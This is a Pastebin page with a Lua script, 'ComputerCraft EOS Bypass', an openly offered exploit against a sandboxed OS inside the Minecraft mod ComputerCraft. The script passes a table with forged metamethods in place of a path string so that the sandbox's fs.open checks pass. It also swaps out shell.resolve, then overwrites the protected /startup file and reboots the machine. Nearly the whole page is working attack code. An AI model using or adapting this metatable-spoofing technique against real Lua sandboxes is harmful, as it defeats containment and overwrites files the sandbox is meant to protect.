Advertisement
PaymentOption

ComputerCraft EOS Bypass

Mar 12th, 2013
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 3.70 KB | None | 0 0
  1. --[[
  2.     Metatable Injection     Trystan Cannon
  3.                             12 March 2013
  4.                            
  5.     This script uses metatables and their
  6.     respective metamethods to inject into
  7.     functions that restrict certain actions
  8.     based on string values.
  9.    
  10.     Using metamethods, we can bypass string
  11.     checks and cause certain flags to pass
  12.     even though we're using a metatable
  13.     rather than an actual string.
  14.    
  15.     This is the function we'll be bypassing:
  16.    
  17.         fs.open = function(path, mode)
  18.             path = shell.resolve(path);
  19.            
  20.             if(mode == 'r')then
  21.                 if(path:sub(1,13)=="rom/programs/")then
  22.                     return fsOpen(path, mode);
  23.                 end
  24.             end
  25.  
  26.             if(path:sub(1,iVirtualDir)==virtualDir)then
  27.                 return fsOpen(path, mode);
  28.             else
  29.                 return fsOpen(virtualDirCurrent.."/"..path, mode);
  30.             end
  31.            
  32.             return nil;
  33.         end
  34. ]]--
  35.  
  36.  
  37.  
  38. --======================================================================
  39. -- Variables:
  40.  
  41. local targetPath       = "/startup"    -- The path of the file we want to get a handle on through the StringBomb.
  42. local oldShellResolve  = shell.resolve -- This is the old shell.resolve function that we need to replace in order to keep the path table given
  43.                                        -- to 'fs.open' to remain our table.
  44. local virtualDirectory = "Not the virtual directory." -- This is the area where the program has sandboxed our code to. We want this to fail, by the way.
  45.  
  46. local StringBomb = { -- This is the table that the __index metamethod will be referencing for any functions invoked on our 'StringBomb' object.
  47.     -- When substring is called on this method, we want it not to return the virtual directory
  48.     -- the 'fs.open' method is looking for.
  49.     ["sub"] = function (self)
  50.         return virtualDirectory
  51.     end,
  52.    
  53.     -- When self:len() is called by our replaced shell.resolve function, we want it
  54.     -- to return -1 so that we can identify our table.
  55.     ["len"] = function (self)
  56.         return -1
  57.     end
  58. }
  59.  
  60. StringBomb.metatable = { -- The metatable for the StringBomb. This will allow us to sneak into the 'fsOpen' call when the virtual directory is concatenated with us.
  61.     __index  = StringBomb,
  62.    
  63.     -- When someone tries to concatenate a StringBomb with another string, then return
  64.     -- the target of the file we want to get in to.
  65.     __concat = function (firstOperand, secondOperand)
  66.         return targetPath
  67.     end
  68. }
  69. --======================================================================
  70.  
  71.  
  72.  
  73. --======================================================================
  74. -- Function replacement:
  75.  
  76. -- Replace the 'shell.resolve' function so that our table, when passed to 'fs.open', will remain the same rather
  77. -- than being a string.
  78. shell.resolve = function (path)
  79.     if path:len() == -1 then
  80.         return path
  81.     end
  82.    
  83.     return oldShellResolve (path)
  84. end
  85. --======================================================================
  86.  
  87.  
  88.  
  89. --======================================================================
  90. -- Main:
  91.  
  92. -- Create the StringBomb object we'll use to get into the startup file.
  93. local startupBomb = {}
  94. setmetatable (startupBomb, StringBomb.metatable)
  95.  
  96. -- Get a file handle using our StringBomb.
  97. local startupFileHandle = fs.open (startupBomb, 'w')
  98. startupFileHandle.write ("print ('Startup accessed.')")
  99. startupFileHandle.close()
  100.  
  101. -- Prompt the user that we have succeeded.
  102. print ("Startup overwritten. Rebooting.")
  103. sleep (0.5)
  104. os.reboot()
  105. --======================================================================
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement